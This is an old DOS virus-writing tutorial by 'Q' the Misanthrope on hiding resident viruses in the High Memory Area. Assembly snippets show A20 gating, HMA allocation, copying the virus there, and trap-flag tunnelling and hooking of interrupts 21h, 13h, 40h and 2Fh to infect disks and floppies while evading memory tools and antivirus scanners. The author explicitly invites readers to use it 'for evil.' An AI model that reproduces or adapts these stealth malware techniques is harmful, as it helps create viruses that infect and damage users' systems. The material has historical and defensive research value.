HMA Residency
"Q" the Misanthrope

     This virus topic has not been discussed: HMA (not UMB) residency.

     What is HMA?
     ------------
     It stands  for High Memory  Address. HMA memory  is a 65520 byte  area from
     FFFF:0010h to FFFF:FFFFh. "Q"  the Misanthrope  has  been  using the HMA to
     store about 15 of his viruses. This is his tutorial on HMA useage.

     Why HMA?
     --------
     It allows you to put your virus in a location not seen with any of the con-
     ventional memory tools. MEM, CHKDSK and others don't indicate that more me-
     mory is being  used in the HMA when a virus  goes resident there. Many anti
     virus programs did not scan  the HMA since no  one was  crazy enough to put
     their virus up there. They now have changed because of the many viruses "Q"
     created that use the HMA.

     HMA History
     -----------
     On an 80286+ there is an address line called a20 that was to be used to map
     the second megabyte  of memory. There  are  additional  address lines (a21,
     a22, etc) but with this a20 line there became another 64k of memory availa-
     ble to real mode programs. Where did this new memory come from? On an 8086,
     the addressing  of  the processor  is in SEGMENT:OFFSET format. Each OFFSET
     spans a 64k SEGMENT. The actual physical address is computed as SEGMENT*10h
     +OFFSET. The last byte of memory on an 8086 was F000:FFFFh, or F0000h+FFFFh
     =FFFFFh. Notice that FFFF:000F is the same physical  address (FFFF0h+000Fh=
     FFFFFh). What happens  if  you  were  to  address FFFF:0010? (FFFF0h+0010h=
     100000h). On an 8086 this would map back to 0000:0000h but  on an 80286 you
     have just touched the first byte of the second megabyte off memory. The on-
     ly problem is  that the 80286 works just the same as the 8086 and again you
     are  mapped back to 0000:0000h. Some circuitry  needed to be added, a20 ga-
     ting was created. If doing the physical computation caused a carry into the
     next megabyte  then turn the a20  line on. This  feature had to  be able to
     switched  on and  off at will. The 80286 also  introduced the 8042 keyboard
     controller. There  was an extra bit on  an output  port  that could control
     this gating. The creation of  the HIMEM.SYS would in part  make controlling
     this a bit easier.

     Gating a20
     ----------
     To enable the a20 gating:

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
                     mov     ax,4300h        ;himem.sys check
                     int     2fh
                     cmp     al,80h
                     jne     error           ;no himem.sys loaded
                     mov     ax,4310h
                     int     2fh             ;get far call address es:bx
                     mov     ah,03h          ;Global enable A20
                     push    cs              ;prime the stack for retf
                     call    call_es_bx      ;put ip of next line on stack for retf
     next_line:      or      ax,ax           ;check if error
                     jz      error
                    [...]                    ;code to do whatever
     call_es_bx:     push    es              ;now jmp to es:bx with ah as function
                     push    bx              ;the stack is primed to return to
                     retf                    ;next line
                    [...]
     error:          mov     ah,09h          ;print command
                     mov     dx,offset errmsg;print error
                     push    cs
                     pop     ds
                     int     21h
                    [...]
     errmsg          db      "A20 Global Enable error!",0dh,0ah,"$"
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     Note: all of the HIMEM.SYS calls  are documented in  Ralf Brown's Interrupt
     list (INT 2Fh AX=4310h).

     Brute force gating a20
     ----------------------
     Another method is the brute  force one. What  if you want the HMA available
     at boot time for your boot sector virus? You can  directly control the 8042
     keyboard controller. Using command D1. Write Output Port: next byte written
     to port 60h is placed in the 8042 output port.

                    |7|6|5|4|3|2|1|0|  8042 Output Port
                     | | | | | | | '---- system reset line
                     | | | | | | '----- gate A20
                     | | | | '-------- undefined
                     | | | '--------- output buffer full
                     | | '---------- input buffer empty
                     | '----------- keyboard clock (output)
                     '------------ keyboard data (output)

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     .286
                     mov     al,0d1h         ;send command to 8042
                     out     64h,al
     reloop:         in      al,64h          ;check that port 60h is available
                     or      al,02h
                     jnz     reloop
                     mov     al,11100011b    ;keep keyboard working and gate a20
                     out     60h,al
                     push    -1              ;set es=ffffh
                     pop     es
                     push    00h
                     pop     ds              ;set ds=0000h
                     mov     di,10h          ;check if it worked, compare
                     xor     si,si           ;ffff:0010h to 0000:0000 for 16 bytes
                     mov     cx,di           ;set cx to 10h
                     cld
                     rep     cmpsb           ;compare it
                     je      failed
                    [...]                    ;worked, copy virus to ffff:xxxx
     failed:         jmp     short failed    ;do whatever
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     HMA and DOS 5+
     --------------
     The easiest method  is to use  the HMA if DOS 5+ is loaded  in the HMA with
     the commands in the CONFIG.SYS like these:

     DEVICE=C:\DOS\HIMEM.SYS
     DOS=HIGH

     This requirement is on 99% of all  machines running this  decade. To invoke
     it, just do this:

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
                     mov     ax,4a02h        ;allocate HMA space from DOS
                     mov     di,-1           ;prime di if DOS not high or < ver 5
                     mov     bx,0200h        ;number of bytes you want
                     int     2fh             ;should return es:di to available mem
                     inc     di              ;di=ffffh if no memory or DOS<5 etc.
                     jz      failed          ;if it failed
                     dec     di
                     mov     si,offset virii
                     mov     cx,bx           ;get ready to copy virii
                     cld
                     rep     movs byte ptr es:[di],cs:[si]
                    [...]
     failed:         jmp     short failed
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     Hooking interrupts
     ------------------
     Now that you are in the HMA, what next? hook in your interrupts and you are
     off infecting. Problem is  that it  is not that simple. You  can't point an
     interrupt to ffff:xxxx because the a20 gate may be turned off for some rea-
     son. If the a20 gate is  turned  off then your interrupt will point to code
     in the first 64k of memory. When DOS 5+ interrupts 13h, 21h, 2fh, etc chain
     into the HMA they first  check if  the a20 line is gated, if not, they gate
     it. The interrupt then continues its  code in  the HMA. You can tunnel your
     desired interrupt and hook  in to the interrupt chain when the code goes to
     the HMA. An example of hooking interrupt 21h is:

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     .286
     virus_size      equ     previous_21-begin
     begin:         [...]
                     mov     ax,3501h        ;get int 1 address for tunnel
                     int     21h
                     mov     dx,offset interrupt_1
                     mov     ah,25h          ;set int 1 for tunnel
                     push    es
                     int     21h
                     pop     ds              ;ds:dx will be to set it back
                     push    00h             ;es=0000h
                     pop     es
                     pushf                   ;simulate interrupt stack
                     mov     dx,bx
                     push    cs
                     push    es              ;return to cs:0000 is cd 20
                     int     01h             ;set trap flag
                     db      26h             ;es: override in to int table
                     dw      02effh,21h*04h  ;jmp far ptr es:[0084]
     interrupt_1:    pusha                   ;save varables
                     push    sp
                     pop     bp              ;get pointer
                     push    ds
                     push    es
                     lds     si,dword ptr ss:[bp+10h];get next instruction address
                     cmp     word ptr ds:[si+01h],02effh
                     jne     go_back         ;check if jmp far ?s:[????]
                     cmp     word ptr ds:[si-02h],001cdh
                     org     $-02h           ;see if called from our int 01
                     int     01h
                     je      toggle_tf
                     mov     si,word ptr ds:[si+03h];get address segment of jmp
                     cmp     byte ptr ds:[si+03h],0f0h
                     jb      go_back         ;see if in HMA area
                     mov     bx,((virus_size+10h)SHR 4)*10h
                     mov     di,0ffffh       ;allocate HMA area for virus
                     mov     ax,4a02h
                     int     2fh
                     inc     di              ;is HMA full
                     jz      toggle_tf       ;if so then just don't bother
                     push    si              ;move the virus to the HMA
                     cld
                     mov     cx,virus_size
                     mov     si,0100h        ;copy virus to HMA
                     rep     movs byte ptr es:[di],cs:[si]
                     pop     si              ;now hook the int 21 chain
                     movsw                   ;int 21 copied at previous_21
                     movsw
                     lea     di,word ptr ds:[di-04h-virus_size+offset resident_21]
                     mov     word ptr ds:[si-04h],di;point to resident 21 code
                     mov     word ptr ds:[si-02h],es
     toggle_tf:      xor     byte ptr ss:[bp+15h],01h;toggle the trap flag
     go_back:        pop     es
                     pop     ds
                     popa
                     iret
     resident_21:    pushf                   ;do the voodoo you do so well
                     pusha
                    [...]
                     popa
                     popf
                     db      0eah
     previous_21:    label   double
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     This is a bit laborous. What else can be done? if you  need to hook int 13h
     then the simple use of int 2fh AH=13h can be done.

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     .286
     ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
                     mov     ah,13h          ;get int 13 chain
                     int     2fh             ;returns previous ds:dx to bios
                     push    ds              ;int 13h
                     push    dx
                     lea     dx,word ptr ds:[di+offset resident_13]
                     push    -1              ;point to new int 13 in HMA
                     pop     ds
                     int     2fh             ;set new int 13 into chain
                     push    -1
                     pop     ds
                     pop     word ptr ds:[di+previous_13]
                     pop     word ptr ds:[di+previous_13+02h]
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     The only problem with this is that Windows  will spot it if the 32 bit disk
     access is enabled.

     An even simpler way of  hooking into the interrupt 13h chain can be done if
     all you are  wanting to do  is infect floppies. Interrupt 40h  is the moved
     interrupt 13h handler that only handles floppy accesses. It can be directly
     hooked into the HMA because all access to  it will be through interrupt 13h
     that made sure the a20 line was gated before it went into the HMA.

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     .286
     ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
                     push    es              ;save es
                     mov     ax,3540h        ;get old int 40
                     int     21h
                     pop     ds              ;get es and save old int 40
                     mov     word ptr ds:[di+previous_40],bx
                     mov     word ptr ds:[di+previous_40+02h],es
                     lea     dx,word ptr ds:[di+resident_40]
                     mov     ah,25h          ;set int 40 into hma
                     int     21h
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     Interrupt 2fh is very easy  to hook  into  the HMA. Before DOS 7, you could
     hook your code in at 0070:0005h. DOS 7 moved it to 0070:0168h.

     Another way to hook into the interrupt chain and make sure that the a20 li-
     ne is gated is to have some code  in lower memory  that calls the interrupt
     you want to hook in with some bogus function, then jump to the HMA code be-
     cause the a20 line was gated with the previous interrupt call. An example:

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     .286
     interrupt_21:   push    ax              ;interrupt 21h points to here
                     mov     ah,19h          ;get current drive (bogus instruction)
                     pushf                   ;simulated stack for interrupt
                     db      09ah            ;far call instruction
     previous_21     dd      04530126eh      ;previous interrupt 21 simulation
                     pop     ax
                     db      0eah            ;far jmp
     hma_virus_code  dd      ffffec1ch       ;to virus code in HMA
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     Using some lower memory as a kernal
     -----------------------------------
     The trick is where to put these instructions in lower memory. The interrupt
     vector  table can be used either the  user area at  0040:00f0h or i like to
     use the root PSP of COMMAND.COM:

     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
     .286
                     mov     ah,51h          ;get current PSP
                     int     21h
                     xor     ax,ax           ;prime ax not equal PSP
     find_root_psp:  cmp     ax,bx
                     je      found_root
                     mov     ds,bx           ;point to current psp
                     mov     ax,bx           ;for compare
                     mov     bx,word ptr ds:[16h];get parent psp
                     jmp     short find_root_psp
     found_root:    [...]                    ;ds points to the psp of command.com
                    [...]                    ;ds:005ch to ds:007fh is useless space
     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

     What works and what doesn't
     ---------------------------
     When your virus code is the HMA there are certain things that will not work
     like you'd like them to: you can not hook your critical error handler in to
     the HMA. You  can not do interrupt 21h writes or  reads with DS:DX pointing
     in the HMA. To do these you will need to use some lower memory and copy the
     contents into the lower memory and point to it. You can use the lower memo-
     ry areas discussed above. What does work: BIOS interrupt 13h reads and wri-
     tes work just fine. Searching the disk buffers and modifying them to insert
     your code and then marking the buffer as dirty will cause  the processor to
     write it back.

     If this has inspired someone else to use the HMA for evil rather  than good
     then my efforts have been worth it.

     "Q" the Misanthrope